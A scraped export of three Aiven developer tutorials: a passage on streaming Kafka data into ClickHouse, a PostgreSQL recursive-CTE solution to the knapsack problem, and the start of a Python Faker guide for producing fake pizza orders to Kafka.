Apache Kafka to ClickHouse we need to have some data in Apache Kafka in the first place. So we start by creating a topic in Apache Kafka. You can do it [directly from the Aiven console](https://aiven.io/docs/products/kafka/howto/create-topic). Name it `measurements`. Here we'll send continuous measurements for our imaginary set of devices.\n\nTo imitate a continuous flow of new data we'll use a short bash script. In this script we create a JSON object with three properties: the timestamp of the event, the id of the device and a value. Then we send this object into the topic `measurements` using `kcat`. To understand how to set up `kcat`, [check this article](https://aiven.io/docs/products/kafka/howto/kcat).\n\n```bash\n#!/bin/bash\n\nwhile :\ndo\n stamp=$(date +%s)\n id=$((RANDOM%100))\n val=$((RANDOM%1000))\n echo \"{\\\"timestamp\\\":$stamp,\\\"device_id\\\":$id,\\\"value\\\":$val}\" \\\n | kcat -F kcat.config -P -t measurements\ndone\n```\n\nStart the script and leave it running, it'll be continuously creating and sending messages to the topic.\n\nOur work on the Apache Kafka side is done. Now let's move to ClickHouse.\n\n## Connect Aiven for ClickHouse to Apache Kafka \n\nYou can actually integrate your Aiven for ClickHouse service with any Apache Kafka service, but for us, having two services within the same Aiven project makes the integration straightforward.\n\nTo integrate Aiven for ClickHouse with Apache Kafka we need to do two steps:\n1. Establish a connection.\n2. Specify the structure and origin of the integrated data. \n\nWe'll do these steps with help from the [Aiven CLI](https://aiven.io/docs/tools/cli).\n\nFirst, establish the connection by creating an integration of type `clickhouse_kafka` and specifying the name of your services, Apache Kafka as source and ClickHouse as destination: \n\n```\navn service integration-create \\\n --integration-type clickhouse_kafka \\\n --source-service apache-kafka-service \\\n --dest-service clickhouse-service\n```\n\nRunning this command won't return you anything (unless there is a problem). But if you now check the list of available databases in your Aiven for ClickHouse service (with the help of [Aiven's console](https://console.aiven.io/), for example), you'll notice a new one - `service_apache-kafka-service`. The name of the created database is the combination of `service_` and your Apache Kafka service name.\n\nThe database is still empty, because we didn't specify yet what kind of data we want to bring from our Apache Kafka service. We can define the datasource in a JSON payload, but first we need to find the id of our integration. You can get it by running this command:\n\n```\navn service integration-list clickhouse-service | grep apache-kafka-service\n```\n\n\u003c!-- github image\n![avn service integration-list terminal output](integration-with-kafka/get-integration-id.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![`avn service integration-list` terminal output](//cdn.sanity.io/images/sczeoy4w/production/d8afc96704b04356131e676474a66d1969a2f41b-1704x130.png)\n\nIn my case, the integration id was `88546a37-5a8a-4c0c-8bd7-80960e3adab0`. Yours will be a different [UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier).\n\nKnowing the integration id we can set the proper configuration for our connection where we specify that:\n* we want to bring data from the topic named `measurements`\n* we expect the data to be in JSON format (in particular, `JSONEachRow`)\n* the data will be transformed into a table with three columns: `timestamp`, `device_id` and `value`:\n\n```bash\n avn service integration-update 88546a37-5a8a-4c0c-8bd7-80960e3adab0 \\\n --user-config-json '{\n \"tables\": [\n {\n \"name\": \"measurements_from_kafka\",\n \"columns\": [\n {\"name\": \"timestamp\", \"type\": \"DateTime\"},\n {\"name\": \"device_id\", \"type\": \"Int8\"},\n {\"name\": \"value\", \"type\": \"Int16\"}\n ],\n \"topics\": [{\"name\": \"measurements\"}],\n \"data_format\": \"JSONEachRow\",\n \"group_name\": \"measurements_from_kafka_consumer\"\n }\n ]\n }'\n```\n\nClickHouse will track what messages from the topic are consumed using the consumer group that you specify in the `group_name` field, no extra effort needed on your side. By default, you'll read each entry once. If you want to get your data twice, you can create a copy of the table with another group name.\n\n## Consume Kafka messages on the fly from Clickhouse\n\nThe setup we did is already sufficient to start reading data from the Apache Kafka topic from within ClickHouse.\nThe most convenient way to run ClickHouse SQL commands is by using **clickhouse-client**. If you're unsure how to run it, check [Connect to a ClickHouse® cluster with CLI](https://aiven.io/docs/products/clickhouse/howto/list-manage-cluster). \n\nI, for example, used docker and ran the client by using the command below. Just replace USERNAME, PASSWORD, HOST and PORT with your values.\n\n```shell\ndocker run -it \\\n --rm clickhouse/clickhouse-client \\\n --user USERNAME \\\n --password PASSWORD \\\n --host HOST \\\n --port PORT \\\n --secure\n```\n\nOnce in the client, you can check the list of databases\n\n```sql\nSHOW DATABASES\n```\n\n\u003c!-- github image\n![show databases terminal output](integration-with-kafka/show-databases.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![`show databases` terminal output](//cdn.sanity.io/images/sczeoy4w/production/4db3961fd96b5e2bb0abbe14ef19684d9e63772b-858x502.png)\n\nYou'll see the one we created by establishing the integration `service_apache-kafka-service` (maybe you named it differently!).\n\nIf you get the list of tables from this database, you'll see the name of the table that you specified in the integration settings.\n\n```sql\nSHOW TABLES FROM `service_apache-kafka-service`\n```\n\n\u003c!-- github image\n![show tables terminal output](integration-with-kafka/show-tables.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![`show tables` terminal output](//cdn.sanity.io/images/sczeoy4w/production/57498b816a584c04b083344abcf82082fcdcc7d6-866x269.png)\n\nYou can also double-check its structure with\n\n```sql\nDESCRIBE `service_apache-kafka-service`.measurements_from_kafka\n```\n\n\u003c!-- github image\n![describe tables terminal output](integration-with-kafka/describe.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![describe tables terminal output](//cdn.sanity.io/images/sczeoy4w/production/9e519c766d273ef40df06f3fb86f5165632a3445-1928x434.png)\n\nNow, you might want to read from this table directly, and it will work. However, remember that we can consume messages only once! So once you read the items, they will be gone. Still, nothing stops you from running the following commands:\n\n```sql\nSELECT * FROM `service_apache-kafka-service`.measurements_from_kafka LIMIT 100\n```\n\n```sql\nSELECT count(*) FROM `service_apache-kafka-service`.measurements_from_kafka\n```\n\n\u003c!-- github image\n![selecting items directly from the connecting table terminal output]\n(integration-with-kafka/select-direct.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![selecting items directly from the connecting table terminal output](//cdn.sanity.io/images/sczeoy4w/production/d9dfda0c13b811cbe392a804b2796350c2c8414e-1084x311.png)\n\nHowever, this is not the most convenient way of consuming the data from Apache Kafka, and apart from debugging won't be used much. Most probably you want to copy and keep the data items in ClickHouse for later. And this is exactly what we'll do in the next section.\n\n## Persist Kafka messages in Clickhouse table\n\nTo store the data coming from Apache Kafka to ClickHouse we need two pieces:\n1. A destination table, where all data will be stored permanently.\n2. A materialised view, that will be like a bridge between our connector table (`measurements_from_kafka`) and our destination table.\n\nYou can create them with these two queries:\n\n```sql\nCREATE TABLE device_measurements (timestamp DateTime, device_id Int8, value Int16)\nENGINE = ReplicatedMergeTree()\nORDER BY timestamp;\n```\n\n```sql\nCREATE MATERIALIZED VIEW materialised_view TO device_measurements AS\nSELECT * FROM `service_apache-kafka-service`.measurements_from_kafka;\n```\n\nWhen we create a materialised view, a trigger is actually added behind the scenes. This trigger will react to any new data items added to our table `measurements_from_kafka`. Once triggered, the data will go through the materialised view (where you also can transform it if you want) into the table `device_measurements`\n\nYou can check that the data is flowing by running:\n\n```sql\nSELECT COUNT(*) from device_measurements\n```\n\nWe can run a query to count all readings from the devices and see which devices have higher values on average. Here we use a nice and simple visualisation mechanism with the `bar` function.\n\n```sql\nSELECT\n device_id,\n count() as readings_number,\n bar(avg(value), 0, 1000, 100) as average_measurement_value\nFROM device_measurements\nGROUP BY device_id\nORDER BY device_id ASC\n```\n\n\u003c!-- github image\n![visualising data with bar terminal output](integration-with-kafka/visualise-bar.png)\n--\u003e\n\u003c!-- contentful image --\u003e\n![visualising data with bar terminal output](//cdn.sanity.io/images/sczeoy4w/production/510274a24a9d839605dadb379f3fa793551dde67-2090x938.png)\n\n## Conclusion\n\nNow you are equipped with the skill to bring data into Aiven for ClickHouse and use materialised views to store the data. Here are some more materials you might be interested to read:\n\n- [What is ClickHouse and how it achieves high performance](https://aiven.io/blog/what-is-clickhouse) \n- [Getting started with Aiven for ClickHouse](https://aiven.io/docs/products/clickhouse/get-started)\n- Documentation on how to [integrate Aiven for ClickHouse with Apache Kafka](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka) (with some extra details that are omitted here)\n- Information on [other integrations available with Aiven for ClickHouse](https://aiven.io/docs/products/clickhouse/howto/list-integrations)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T08:02:48.980Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2022-09-20T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn how to perform analytics with fast response time over huge volumes of data without the need to downsample data.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d56a3a53d21e9d5e2722b17ba82949f21bf728c4-1567x844-png","_type":"reference"}},"metaTitle":"Connecting Apache Kafka® and Aiven for ClickHouse®"},"slug":{"_type":"slug","current":"/developer/connecting-kafka-and-clickhouse"},"subtitle":"Learn how to perform analytics with fast response time over huge volumes of data without the need to downsample data.","tags":[{"_key":"ae5820cb4b80","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"d17b4c201a07","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"7ca31d04e672","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Connecting Apache Kafka® and Aiven for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2023-08-07T07:38:23Z","_id":"ff47a868-ff1d-4669-8dd1-a07ad5ecb505","_rev":"neae7oL4y1FotDvvRJbBEc","_type":"devArticle","_updatedAt":"2024-07-11T07:45:18Z","body":"The days before a holiday are exciting. You've planned a vacation somewhere and can't wait to hit the road.\n\nBut first, there's a whole list of decisions to make: how many underpants should I bring? Are the running shoes necessary? What about the hairdryer? Which jacket should I pack? Lots of decisions to take with the suitcase size as constraint and the best holiday experience as ultimate goal.\n\nThe aim of the blog post is to help solve the packing problem using technology. Specifically, PostgreSQL® and the recursive Common Table Expressions.\n## Combinatorial optimization - the knapsack problem\nPeople have had to pack luggage for a long time, so this optimization dilemma is far from new. It even has a name: the **knapsack problem**. It can be applied to a variety of use cases where there is a set of items with a defined **weight** (space occupied in the luggage in our example) and **value** (item benefits during holiday) and where the **total weight is limited** (luggage size).\n\nThe end goal is to come up with a set of items that fits within the weight constraint and has the maximum possible value.\n\nFor example, let's assume we have the following items:\n\n|Item | Value | Weight |\n| --- | ----- | ------ |\n|🧦 Socks |10 |3 |\n|🎩 Hat |15 |5 |\n|👖 Trousers |5 |15 |\n|👟 Shoes |8 |10 |\n|👕 T-Shirt |7 |10 |\n\nAnd we have a knapsack with a capacity of **20**.\n\nThis means we could pack:\n* 👖 Trousers (weight 15) + 🎩 Hat (weight 5) for a total value of (5 + 15) = 20\nOR\n* 👕 T-Shirt (weight 10) + 🎩 Hat (weight 5) + 🧦 Socks (weight 3) for a total value of (7 + 15 + 10) = 32\n\nThe second option gives us a much better overall value based on the settings in the table.\n\n(At this point, we should note that this concept and solution is presented as an oversimplified mathematical problem. Aiven is not responsible if you decide to leave for your holidays without any shoes or trousers!)\n## PostgreSQL to the rescue\nHow can we be sure to make the best choice? Can technology help? Of course! Just pull out your trusty PostgreSQL (which you should always remember to pack).\n\nLet's start by creating an instance with the help of [Aiven's command line interface](https://github.com/aiven/aiven-client).\n\n```bash\navn service create demo-pg \\\n --service-type pg \\\n --cloud google-europe-west3 \\\n --plan hobbyist\n```\n\nThe above creates a PostgreSQL instance (`--service-type pg`) called `demo-pg` in the region `google-europe-west3` with an `hobbyist` plan. You can size and move your instance as you wish; check out all the [combinations available](https://aiven.io/postgresql).\n\nOnce the instance is up and running (we can use `avn service wait demo-pg` to wait for it), we can log into the database from the prompt with:\n\n```bash\navn service cli demo-pg\n```\n\nGreat, we're in PostgreSQL! Now we can create the new `inventory` table and fill it with our dataset.\n\n```sql\ncreate table inventory (item_id serial, item_name varchar, value int, weight int);\ninsert into inventory(item_name, value, weight) values ('Socks', 10,3);\ninsert into inventory(item_name, value, weight) values ('Hat', 15,5);\ninsert into inventory(item_name, value, weight) values ('Trousers', 5,15);\ninsert into inventory(item_name, value, weight) values ('Shoes', 8,10);\ninsert into inventory(item_name, value, weight) values ('T-Shirt', 7,10);\n```\n\nLet's verify the data:\n\n```sql\nselect * from inventory;\n```\n\nAnd we get the expected output:\n\n```\n item_id | item_name | value | weight\n---------+-----------+-------+--------\n 1 | Socks | 10 | 3\n 2 | Hat | 15 | 5\n 3 | Trousers | 5 | 15\n 4 | Shoes | 8 | 10\n 5 | T-Shirt | 7 | 10\n(5 rows)\n```\n\nWe're now ready to crack our luggage knapsack problem.\n## Iterative approach and PostgreSQL recursive CTEs\nThere are multiple ways of solving the knapsack problem. One of them is to [replicate in PostgreSQL](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol) what you would do in a trial \u0026 error case: you pick one item, add it to the luggage, then pick another item and add it, going on like that until the suitcase is full. Once no more items can fit in, you sum all the values of the inserted items and take note of the list. Then you empty the luggage and start from scratch again, trying to make sure you don't end up with the same sequence of items just in a different order.\n\nWhen all the possible item combinations have been checked, you can then select the one with maximum value. It's a long and error prone process, but luckily, computers can handle it for us.\n\nThe above process defines the steps we need to perform to find all the combinations:\n1. Select one random item from `inventory`.\n2. Add it to the `picked_items` list and store the item cost\n3. Select another item from `inventory`, making sure that:\n a. it wasn't already in the `picked_items` list and\n b. the `weight` of the current item plus the `total_weight` of all the items in the `picked_items` list is less or equal to the maximum allowed weight\n4. Add the new item in the `picked_items` list\n5. Add the item `weight` to the `total_weight`\n6. Go back to step #3 until `inventory` contains new items satisfying conditions a and b.\n\nWe can spot an iterative pattern here of sequential queries against the `inventory` table. How can we map it into PostgreSQL? We want to perform select statements against the `inventory` table for a variable number of iterations (the list of `picked_items` can have different sizes). We need a way to recursively call the select statement: here is were [PostgreSQL recursive CTEs](https://www.postgresql.org/docs/current/queries-with.html) shine, since they allow the creation of queries that can reference their own output.\n\nFor example we can get all the combination of 3 items starting with `Socks` in our `inventory` table with:\n\n```sql\nWITH RECURSIVE items(picked_items, nr_items) as (\n SELECT ARRAY[item_name] as picked_items,\n 1 nr_items\n from inventory\n where item_name = 'Socks'\n UNION ALL\n select picked_items || item_name,\n nr_items + 1\n from inventory cross join items\n where nr_items+1 \u003c= 3\n)\nselect * from items where nr_items=3;\n```\n\nThe `RECURSIVE` keyword sets the scene. The second `SELECT` statement is what does the trick by joining the `inventory` table with the result of the `RECURSIVE items` query we are still defining. The result lists all the 25 combinations of 3 items in the `inventory` table starting with `Socks`.\n\n```\n name | nr_items\n-----------------------------+----------\n {Socks,Socks,Socks} | 3\n {Socks,Socks,Hat} | 3\n {Socks,Socks,Trousers} | 3\n {Socks,Socks,Shoes} | 3\n {Socks,Socks,T-Shirt} | 3\n {Socks,Hat,Socks} | 3\n ...\n {Socks,T-Shirt,Hat} | 3\n {Socks,T-Shirt,Trousers} | 3\n {Socks,T-Shirt,Shoes} | 3\n {Socks,T-Shirt,T-Shirt} | 3\n(25 rows)\n```\n## Add the knapsack constraints\nThe above query returns all the combinations available in the `inventory` table limited to 3 items. However, our knapsack problems has different constraints:\n* Once an item is picked, we can't reuse it\n* The sequence doesn't have a fixed length but it's driven by the `total_cost`\n\nLet's check how we can add the above constraints in the recursive query, keeping `20` as total allowed cost:\n\n```sql\nWITH RECURSIVE items(item_id, picked_items, nr_items, total_weight, total_value) as (\n SELECT\n item_id,\n ARRAY[item_name] as picked_items,\n 1 nr_items,\n weight total_weight,\n value total_value\n from inventory\n UNION ALL\n select\n inventory.item_id,\n picked_items || item_name,\n nr_items + 1,\n weight + total_weight,\n value + total_value\n from inventory cross join items\n where\n picked_items::varchar[] @\u003e ARRAY[item_name] = false\n and weight + total_weight \u003c= 20\n and inventory.item_id \u003e items.item_id\n)\nselect * from items order by total_value;\n```\n\nLet's cut the query down in sections: the first piece is the seed of our recursive query, we select all rows from the `inventory` table\n\n```sql\nSELECT\n item_id,\n ARRAY[item_name] as picked_items,\n 1 nr_items,\n weight total_weight,\n value total_value\nfrom inventory\n```\n\nWe store the `item_id` as single value and we add it to the `picked_items` array. We also store the total number of items (`1`), the associated `weight` as `total_weight` and `value` as `total_value`. The next phase, after the `UNION ALL`, is the recursive bit:\n\n```sql\nselect\n inventory.item_id,\n picked_items || item_name,\n nr_items + 1,\n weight + total_weight,\n value + total_value\nfrom inventory cross join items\nwhere\n picked_items::varchar[] @\u003e ARRAY[item_name] = false\n and weight + total_weight \u003c= 20\n and inventory.item_id \u003e items.item_id\n```\n\nWe select the `item_id`, store it a single value and add it to the `picked_items` array. Add `+1` to count of items and add the `weight` and `value` of the current item to `total_weight` and `total_value` of the previously selected items respectively.\n\nThe interesting bit comes in the following section. We perform a `CROSS JOIN` between `inventory` and `items` (our recursive query) creating a cartesian product of the tables. In other words, we then have a row for each item that exists in `inventory` multiplied for each row in `items`. Not very clever, but the filtering does the magic:\n\n* `picked_items::varchar[] @\u003e ARRAY[item_name] = false`: makes sure that we exclude from the result set any rows for which the `item_name` is already in the list of `picked_items`\n* `weight + total_weight \u003c= 20`: discards from the result set all items for which the related `weight` summed to the previously calculated `total_weight` exceeds the `20` threshold we set for our luggage.\n* `inventory.item_id \u003e items.item_id`: it's an optimization filter; `{Trousers,Shoes}` and `{Shoes,Trousers}` are two combinations of the same items, and we want to keep only one. Thus we allow the selection of items only in ascending `item_id` order, this will help improving performances since we are not analysing the same subset of items multiple times.\n\nThe result of the full query above is:\n\n```\n item_id | picked_items | nr_items | total_weight | total_value\n---------+---------------------------+----------+--------------+-------------\n 3 | {Trousers} | 1 | 15 | 5\n 5 | {T-Shirt} | 1 | 10 | 7\n 4 | {Shoes} | 1 | 10 | 8\n 1 | {Socks} | 1 | 3 | 10\n 2 | {Hat} | 1 | 5 | 15\n 5 | {Shoes,T-Shirt} | 2 | 20 | 15\n 3 | {Socks,Trousers} | 2 | 18 | 15\n 5 | {Socks,T-Shirt} | 2 | 13 | 17\n 4 | {Socks,Shoes} | 2 | 13 | 18\n 3 | {Hat,Trousers} | 2 | 20 | 20\n 5 | {Hat,T-Shirt} | 2 | 15 | 22\n 4 | {Hat,Shoes} | 2 | 15 | 23\n 2 | {Socks,Hat} | 2 | 8 | 25\n 5 | {Socks,Hat,T-Shirt} | 3 | 18 | 32\n 4 | {Socks,Hat,Shoes} | 3 | 18 | 33\n(15 rows)\n```\n\nIt shows all the combinations of items that fit in our `20` capacity luggage. When we sort it by `total_value`, it becomes evident that the combination `{Socks,Hat,Shoes}` is the one that provides the maximum value.\n\nAgain, please take this as pure theoretical exercise and not as holiday packing suggestion. What? do you have also other constrains to add? Taking this as a basis, feel free to add any additional complexity that your real case requires!\n## Some thoughts\nThe knapsack problem is very common: from project planning to resource allocation there is a variety of real cases where we need to fit as much items as possible in some sort of limited bucket. PostgreSQL recursive CTEs represent a valid option where a query iterative approach is needed.\n\nA word of caution here: performance can quickly go wild if the recursion is not properly limited by filters. Define your recursion, set your boundaries, and enjoy how PostgreSQL can help you packing before the holidays!\n\nSome more references:\n\n* Definition and variations of the [Knapsack problem](https://en.wikipedia.org/wiki/Knapsack_problem)\n* [Aiven for PostgreSQL](https://aiven.io/postgresql) plans and clouds information\n* [PostgreSQL recursive CTEs](https://www.postgresql.org/docs/current/queries-with.html) documentation\n* [An introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql) on the Aiven blog\n* [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [Aiven free trial signup](https://console.aiven.io/signup)!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:38:19.696Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2021-08-31T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"The knapsack problem: how to fit all the items you're most likely to need on holiday? Find out how to use the world's best OS database to help you pack.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e5ba89552e7639ed713819c95e3d370470036916-1200x628-jpg","_type":"reference"}},"metaTitle":"Solving the knapsack problem in PostgreSQL®"},"slug":{"_type":"slug","current":"/developer/solving-the-knapsack-problem-in-postgresql"},"subtitle":"The knapsack problem: how to fit all the items you're most likely to need on holiday? Find out how to use the world's best OS database to help you pack.","tags":[{"_key":"0b8010001f6b","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"1fdad813e45c","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Solving the knapsack problem in PostgreSQL®"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:37:37Z","_id":"766e5371-c2d6-409d-acba-a478d18ffdd2","_rev":"zYSUUPkF4TH1RAKzpzahRQ","_type":"devArticle","_updatedAt":"2024-03-18T11:43:20Z","body":"We've all been there: we installed or purchased a new, shiny data management tool for testing but immediately realized we didn't have any data to use for our trial! We may know the data's schema, but we can't use our company's datasets for a number of reasons.\n\nHow can we give the platform a proper try? What if I tell you all you need are a few lines of Python code? We'll use the real-world case of a pizza delivery chain to demonstrate how easy it is to produce proper fake event-based data. The scenario will showcase [Faker](https://faker.readthedocs.io/en/master/), a fake data generator for Python, pushing data to [Aiven for Apache Kafka](https://aiven.io/blog/what-is-apache-kafka) using Kafka's [SSL authentication.](https://aiven.io/docs/products/kafka/howto/connect-with-python#with-ssl-authentication)\n\nWatch the video:\n\n::youtube[How to create fake data with Python and Faker]{#WxDA-t7UmPM}\n\n::alert[If you're just interested in a ready-to-go pizza-based Kafka Producer, check out the [related Github repo](https://github.com/aiven/kafka-python-fake-data-producer)!]\n\n## Data platforms are empty shells\n\nDatabases, data lakes, and datastores in general are cool pieces of technology allowing anyone to manage and analyze data, but they share a common problem: they are completely empty by default. This makes them hard to use for testing, which is still needed to evaluate whether a solution fits your use case.\nSeveral platforms solve this problem by offering pre-filled sample datasets that can be installed or enabled with the help of few commands. Those datasets, however, are pretty static and do not always provide the set of features, fields or cardinality you need to perform your trials.\n\nWith [Apache Kafka](https://aiven.io/kafka), the scale of this problem is even larger. Not only is it empty by default, but it is also a streaming data platform that works by ingesting, transforming and distributing data on the fly - and it expects a continuous flow of data. Finding streaming data sources is a hard task, and, especially if you just want to test the basics of the platform, setting them up properly can be quite cumbersome.\n\nCreating fake data by hand is also not trivial. Even if you know your data schema, creating a coherent set of rows from scratch is challenging. In this blog post I'll walk you through how to create such a fake dataset for Kafka with a hot topic in mind: Pizza!\n\n## Gitpod\n\nThis tutorial is also available on Gitpod, which will allow you to avoid a lot of setup and offer an enhanced developer experience.\n\nYou have two options : \n* Start from scratch and follow along with the tutorial instructions : [Start \"from scratch\" Tutorial](https://gitpod.io/#https://github.com/Aiven-Labs/python-fake-data-producer-for-apache-kafka/tree/tutorial)\n* Start with an almost ready-to-go version where you will still have to provision the Aiven services. Be sure to open `README-gitpod.md` in preview mode to see the instructions : [Start \"mostly done\" Tutorial](https://gitpod.io/#https://github.com/Aiven-Labs/python-fake-data-producer-for-apache-kafka)\n\n## 1. Kafka setup\n\nLet's start with the tech setup. For this example we'll need a Kafka cluster. Creating it on [Aiven.io](https://console.aiven.io) is really easy:\n1. Navigate to [Aiven.io console](https://console.aiven.io) and sign in (or sign up; it's quick and easy).\n2. Click **+ Create a new service**\n3. Select the **Kafka** service (if we're picky we can also choose our favorite Apache Kafka version)\n4. Select the Cloud provider we want to deploy our services to, together with the Cloud region\n5. Select the service plan based on our needs\n6. Give the service a name\n\nSince I'm based in Italy I could easily go for the recently created `aws-eu-south` AWS region, located in Milan, to minimize latency. Your choice depends on where you're located or where you plan to provide your services. For our initial test we're ok in using a **Startup plan**, knowing we can always upgrade (or downgrade) in the future.\n\nThen click on **Create Service**. It will take a few minutes before our Kafka 3-node cluster shows up in the `RUNNING` state.\n\n### 1.1 Getting the service credentials\n\nWhile we're waiting for the service to be up and running, we can already start preparing for the next step: downloading the certificates required to connect.\n\n![credentials](//cdn.sanity.io/images/sczeoy4w/production/63ac13aaae7529413a353d113250cd6b9d5006d6-831x289.png \"Finding the service credentials in the Aiven Console\")\n\nWe can go to the **Overview** tab of our Kafka instance in [Aiven.io console](https://console.aiven.io) where we can easily find the **Access Key**, **Access Certificate** and **CA Certificate**. Then download them to our computer creates 3 files:\n* `service.key`: the Access Key\n* `service.cert`: the Access Certificate\n* `ca.pem`: the CA Certificate\n\nOn the **Overview** tab, I can also take note of the **Service URI** (usually in the form `\u003cINSTANCE_NAME\u003e-\u003cPROJECT_NAME\u003e.aivencloud.come:\u003cPORT\u003e`) that we'll use to correctly point our producer to the Kafka cluster.\n\n### 1.2 Auto topic creation and enabling Kafka REST APIs\n\nBy default, Kafka producers can push data only to pre-created topics. In order to allow topics to be created on the fly while pushing the first record, in this tutorial we'll enable the `kafka.auto_create_topics_enable` parameter in [Aiven.io console](https://console.aiven.io) **Overview** tab; scroll down to the **Advanced configuration** section and then click the **+ Add configuration option** menu.\n\n![advanced configurations](//cdn.sanity.io/images/sczeoy4w/production/5bab3a6a44921f609554433f17703f324a9b494f-881x342.png \"Add configuration option in the Advanced configuration section in the Aiven Console\")\n\nThe last step needed in the configuration is to enable the **Kafka REST API (Karapace)** in Kafka's console **Overview** tab, for our cluster. This step is, strictly speaking, not fundamental, but will allow us to check our producer by [reviewing the pushed records in Aiven.io console](https://aiven.io/blog/kafka-messages-ui-announcement) **Topics** tab.\n\n## 2. Python client settings\nWe'll use the [kafka-python](https://pypi.org/project/kafka-python/) client to build our producer. All we need to do is install it:\n```\npip install kafka-python\n```\nAnd then set a Producer. Add this code to a new `main.py` file\n```\nimport json\nfrom kafka import KafkaProducer\n\nfolderName = \"~/kafkaCerts/kafka-pizza/\"\nproducer = KafkaProducer(\n bootstrap_servers=\"\u003cINSTANCE_NAME\u003e-\u003cPROJECT_NAME\u003e.aivencloud.com:\u003cPORT\u003e\",\n security_protocol=\"SSL\",\n ssl_cafile=folderName+\"ca.pem\",\n ssl_certfile=folderName+\"service.cert\",\n ssl_keyfile=folderName+\"service.key\",\n value_serializer=lambda v: json.dumps(v).encode('ascii'),\n key_serializer=lambda v: json.dumps(v).encode('ascii')\n\n)\n```\nIn the sample code we imported the dependencies and set the correct parameters like `bootstrap_servers`, `ssl_cafile`, `ssl_certfile` and `ssl_keyfile` which refer to the connection URI and the three certificate files mentioned in the section above. Check the full list of available parameters and the various authentication methods to connect to Apache Kafka with Python [in the Aiven documentation.](https://aiven.io/docs/products/kafka/howto/connect-with-python)\n\nThe `value_serializer` and `key_serializer` parameters need a separate explanation. Later on, we will produce each record and key in Json format. To push it properly to Kafka we need to transform them to string format and encode. This is exactly what the code `lambda v: json.dumps(v).encode('ascii')` does.\n\nWe are now ready to push our first message to Kafka's `test-topic` with\n\n```\nproducer.send(\"test-topic\",\n key={\"key\": 1},\n value={\"message\": \"hello world\"}\n )\nproducer.flush()\n```\n\nThe `flush()` command blocks the code from executing until all async messages are sent.\n\nIf we did our homework correctly, we can now execute the `main.py` code with\n\n```\npython main.py\n```\n\nWe should be able to see in [Aiven.io console](https://console.aiven.io), under the **Topics** tab, the topic correctly being created:\n\n![test-topic](//cdn.sanity.io/images/sczeoy4w/production/b7fe72b840501b9dd1cf3da9158da4cf6e51a5c5-929x116.png \"Message displayed\")\n\nAnd after clicking on the topic name, on **Messages**, and selecting `json` as **FORMAT** we should be able to view our message:\n\n![test-topic-message](//cdn.sanity.io/images/sczeoy4w/production/e91f8603db19fc232882d846caac57db9d700e67-1298x335.png)\n\n## 3. Create Fake Datasets with Faker\nSo, let's back to our _main_ topic: pizza.\n\nWe are the owners of a pizza delivery chain, and of course we want to push our orders to Apache Kafka. We know we receive calls, and note down the client's `Name`, `Address` and `Phone Number` (you never know, we might get lost while delivering). How can we mimic that information?\n\nWelcome to [Faker](https://faker.readthedocs.io/en/master/), a Python library allowing us to create proper fake data! We need to be on Python 3.5 and above, and we can install it with\n\n```\npip install Faker\n```\nWe just need a simple code to create one (or more) tuple of data containing the `Name`, `Address` and `Phone Number`\n\n```\nfrom faker import Faker\nfake = Faker()\nmessage= {\n 'name':fake.name(),\n 'address':fake.address(),\n 'phone':fake.phone_number()\n }\nprint(message)\n```\n\nWhich will print a record like the below\n\n```\n{'name': 'Adrian Cole', 'address': '9395 Smith Canyon\\nSullivanport, UT 22200', 'phone': '001-959-108-3651'}\n```\nWe can even localise the output by passing the locale as argument like\n```\nfake = Faker('it_IT')\n```\nThe same example above, localised in Italian with the `it_IT` parameter will generate\n\n```\n{'name': 'Sig. Leopoldo Piacentini', 'address': 'Piazza Cocci 707 Piano 3\\nSesto Isabella lido, 53704 Forlì-Cesena (FE)', 'phone': '+39 12 26548428'}\n```\n\nPerfect, now our basic fake data generator is ready!\n\nWell... a `\u003cName, Address, Phone Number\u003e` tuple is not really rocket science, and also doesn't tell us anything about our business. We are a pizzeria, where are the pizzas?\nSurprisingly [Faker's standard providers](https://faker.readthedocs.io/en/master/providers.html) do not include a pizza generator, but don't worry, we can [create our own](https://faker.readthedocs.io/en/master/providers.html).\n\n### 3.1 Create Custom Data Provider\nWe know we have a standard pizza menu consisting of few options, ranging from the traditional **Margherita** to the **Mari \u0026 Monti** mixing seafood and ham. Creating a fake pizza generator is just a matter of returning a random choice between the available options. We can create a new Faker provider in a separate `pizzaproducer.py` file.\n\n```\nimport random\nfrom faker.providers import BaseProvider\n\nclass PizzaProvider(BaseProvider):\n def pizza_name(self):\n validPizzaNames= ['Margherita',\n 'Marinara',\n 'Diavola',\n 'Mari \u0026 Monti',\n 'Salami',\n 'Pepperoni'\n ]\n return validPizzaNames[random.randint(0,len(validPizzaNames)-1)]\n```\nWe can now import the 